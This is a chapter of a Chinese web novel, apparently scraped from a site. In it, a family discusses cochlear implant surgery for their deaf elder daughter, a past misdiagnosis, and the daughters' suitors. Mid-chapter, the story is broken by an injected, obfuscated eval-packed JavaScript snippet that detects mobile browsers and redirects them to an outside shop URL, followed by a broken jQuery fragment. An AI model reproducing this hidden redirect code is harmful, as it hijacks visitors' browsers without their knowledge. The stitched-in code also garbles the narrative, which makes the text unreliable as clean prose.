婚礼结束后,众人围在开始散场的礼厅中。
江堪站在一个喝醉的宾客旁边,抓着他的手臂搭在自己肩上,正和另外几位杨树兴的朋友谈话。
见杨心柠和杨穗瑜走来,他脱身迎上去。
江堪:“有个喝醉的兄弟落单了,杨树兴还有安排走不开,我得送他回家去,抱歉没法送你们了。”
杨穗瑜笑道:“你不会还要开车吧?”
江堪:“当然不会,我今天都没开车来。”
杨穗瑜:“你还要在关市待几天?”
江堪:“再待三天吧,去见见朋友,下周三回去,你们呢?”
杨穗瑜:“我们还不确定呢,不过应该也差不多?对吗?”
杨穗瑜和姐姐对视了一眼,杨心柠摇摇头表示也不太确定。
杨穗瑜:“那之后再约吧。”
那帮人又开始呼唤江堪,恰逢此时,他的手机也响了起来。
江堪一边接电话,一边赶去兄弟身边:“好,拜拜。”
他挥挥手跑开了。
杨穗瑜:【我们也走吧。】
杨心柠点点头。
江堪接了一通简短的电话,只是应付了几声,但挂掉电话的时候,他的脸色瞬间变得有些难看。
姐妹俩和父母回到了家中。
当天晚上,她们久违地和父母共进了一顿晚餐。
杨家祥一脸喜气非常高兴,尹汀兰坐在旁边,表情却没有太好看。
杨家祥:“昨天你们回来的时候爸爸还在学校呢,错过了给两位宝贝接风洗尘的机会,现在一家人终于能坐下来好好吃顿饭了。”
他笑着开了一瓶葡萄酒,倒进醒酒器中。
杨心柠满脸笑容,杨穗瑜穿着睡衣有些炸毛。
杨穗瑜揉揉眼睛打了个哈欠:“哎呀……参加堂哥的婚礼累死我了,刚睡下又被老爸叫起来……”
尹汀兰:“难得一家人聚在一起,吃完饭再睡吧,你看姐姐就不像你这样小家子气。”
杨穗瑜眼睛一亮:“哦?才过了多久呀?妈妈现在说话已经这么清晰啦?”
尹汀兰笑道:“还不是你,总是不愿意和妈妈打电话。”
杨穗瑜看向尹汀兰耳朵上挂着的小机器,尹汀兰转头凑上前,笑着显摆了一会。
杨穗瑜欣赏道:“看来现在人工耳蜗的技术很成熟了啊,妈妈真厉害。”
杨家祥珍爱地望了一眼手边的妻子:“是啊,而且还能入医保了,真要感谢国家。”
杨穗瑜:“这样的话……姐姐是不是也要赶紧安排一下?”
杨心柠大概猜到了家人的谈话内容,有些不好意思地别开视线。
杨家祥手执刀叉,切好桌上的牛排,将小块的肉分到妻子和两位女儿的碗中。
杨家祥:“我已经找在北上广的朋友咨询过这件事了,虽然柠柠这个年纪做这个手术有点晚,后续恢复可能会受到限制,但以现在的医疗技术来说,一切都是有希望的,手术时间当然也是越早越好。”
杨穗瑜:“什么时候可以安排呢?”
杨家祥又细细盛了四碗汤,分到家人们手边:“最快的话下个月就可以,最好去上海做,那边政策比较好,我有一个老同学正好在那里的视听科当主任。”
杨穗瑜点点头,转而对杨心柠道:【老爸说给你咨询过人工耳蜗手术的事了,最快下个月可以做手术,你怎么看?】
杨心柠情绪有些低落:【到时候再说吧。】
杨穗瑜:【怎么了?你在顾虑什么吗?】
杨心柠:【工作不方便嘛。】
杨穗瑜差点脱手而出道:【工作?你现在不是……】
忘记爸妈也能看懂手语了。要是让他们知道杨心柠失业了,他们肯定要急死,还好打到一半止住了。
杨穗瑜低头喝了半碗汤:【是啊,这确实要好好安排一下。】
杨家祥看出了一些端倪,放下汤勺:【柠柠,工作都可以放一放,人工耳蜗是能改变下半辈子的事,你不想做手术吗?】
杨心柠顿了顿:【……倒也不是不想吧,只是不想……改变来的这么快。】
杨家祥一脸苦闷:【是爸爸妈妈对不起你,当初相信了庸医的误诊,在最适合做手术的年纪耽误了你。】
杨心柠对爸爸露出笑容,示意都过去了,没关系。
杨穗瑜对这件事一直感到疑惑,那个时候她年纪还小,对这件事几乎没什么印象。
借这次事端,她索性问起:“当年究竟发生了什么事?”
杨家祥沉吟片刻,确实该让小女儿知晓。
杨家祥:“你还记得姐姐九岁那年,生过一场大病吗?”
杨穗瑜点头:“那时候吓死我了,哭了好几天,我还以为我要没有姐姐了呢。”
杨家祥:“也就是在那场高烧过后,柠柠的听障从中度变成了极重度。”
杨穗瑜震惊:“居然是这样?”
杨家祥叹了口气:“那段时间正逢爸爸受到调查,停职在家,家里的经济全由你妈妈一个人撑着,我们算是倾尽所有才将姐姐救了回来。”
说到这里,杨家祥握住妻子的手,满眼皆是愧疚。
尹汀兰:“没关系的,都过去了。”
杨心柠回想起童年时的艰难往事,对给父母带来困境感到痛苦。
杨家祥:“你应该有点印象,那年爸爸被指学术造假,我们家很穷又负了债,度过这场风波后很长一段时间才恢复元气。”
杨穗瑜:“原来是这样……”
杨家祥整理情绪,继续道:“到你姐姐十岁的时候,人工耳蜗的技术已经成熟了,我和你妈妈想着,趁这个时候带姐姐去咨询,如果可以,最好趁在发育初期把手术做了。
“可爸爸没用,昔日的老朋友们对爸爸产生了芥蒂,最后我们只找到了一位全科医师给姐姐诊断。
“他当初只看了一眼,便说没有希望,姐姐这个情况是做不了人工耳蜗的,盲目开刀可能还会损失剩下的听力。
“于是,我们只能带着姐姐回家。”
杨穗瑜:“不对吧?去年咨询的时候不是说姐姐可以做吗?”
杨家祥更加心痛:“直到去年,我们才知道,当年的检测是误诊。”
杨穗瑜顿时懂了,她一直以为爸爸妈妈偏心姐姐,她换位思考了一下,因为听信误诊而耽误了大女儿最重要的治疗,一定是会愧疚万分的吧。
杨穗瑜的理解没错,但杨家祥还有一层原因没有坦白。
那时候的杨家还背着债,尹汀兰面对着下岗潮,随时有被解雇的风险,杨家祥尚未完全摆脱学术不端的波及。
10年左右,医保覆盖范围没怎么大,助听器已经够昂贵的了,更不要说人工耳蜗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749569|207383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两个孩子要上学要吃饭,全家朝不保夕,哪有什么闲钱?
杨家祥和尹汀兰,怎么说也是正经大学毕业的高知分子,能看不出诊断报告上的端倪吗?
他们并不是不懂,而是不愿意懂。
杨家祥永远忘不了,在医院的走廊里拿着报告单的自己。
他看到“无法手术”几个字的时候,心中不是惋惜不是悲愤,而是庆幸。
不是他和妻子的错,而是他们有心而无力。
杨家祥就这样,骗了自己一年又一年。
有能力以后,他和妻子最希望弥补大女儿。
但杨心柠不知怎么想的,一直不愿意做人工耳蜗。
杨心柠:【今天先吃饭吧,晚点再说这回事。】
杨家祥也无法多说什么,拿起筷子夹起了菜。
饭桌上,四个人各有各自的想法,气氛到了前所未有的低点。
饭毕,尹汀兰想起今天杨瑞康的话,主动提起了关于婚姻的话题。
杨瑞康:“我去厨房给你们切水果。”
尹汀兰笑道:“两位宝贝,最近有没有心仪的对象呀?”
杨穗瑜正在嚼生菜:“有吗?没有吧。”
尹汀兰:“今天来参加婚礼的小裴不算吗?听他说,好像也在安市工作呢,你们年轻人没有时常接触吗?”
杨穗瑜摆摆手:“年轻人都是各玩各的,在一座城市这辈子见不到一面的情况比比皆是,又不是村子抬头不见低头见的。”
尹汀兰:“那今天和你们聊天的高个子小伙子呢?”
杨穗瑜回想了一下,妈妈说的应该是江堪。
杨穗瑜:“哦,他是我们在关市认识的朋友,在城心区开了一间酒吧。”
杨心柠轻轻掐了掐妹妹的大腿。
尹汀兰:“哦?这又是可以接触的朋友了?”
杨穗瑜朝姐姐的方向偷瞄了两眼,确保她没有通过任何电子设备翻译自己和妈妈的谈话。
杨穗瑜:“他正好要装修酒吧,现在姐姐是他的室内设计师,相当于甲方吧,要赚钱嘛,不交流怎么工作呢?”
尹汀兰:“他叫什么名字?”
杨心柠又掐了掐妹妹,杨穗瑜想不到她怎么懂她和妈妈在聊江堪的。
杨穗瑜:“我不知道。”
尹汀兰没有转而问大女儿,压低声音继续问道:“他和你姐姐是什么关系?”
杨穗瑜心里瞬间浮现出的答案是“暧昧对象吧”,但想到爸妈对裴曜似乎印象很好,又说到了谈婚论嫁话题,这么回答明显火上浇油。
杨穗瑜斟酌道:“朋友吧,那个男的好像是姐姐的大学同学。”
尹汀兰:“这样啊,不过,妈妈以过来人的身份提醒你们一句,还是要离没有正经职业的人远一点。”
杨穗瑜虽然觉得江堪的职业没什么拿不出手的,但确实,如果她是当父母的,也会觉得海归生物工程师比酒吧老板更高档一级。
杨穗瑜:“也不至于吧……”
说到这时,杨家祥端着果盘回来了。
杨家祥:“来,吃水果呀。”
杨家祥叉了一块哈密瓜递到杨心柠面前,她却突然起身,拿着手机跑回了房间。
杨家祥:“怎么回事?爸爸辛辛苦苦切的呢。”
杨穗瑜:“唉……”
尹汀兰喝了口茶,沉默不语。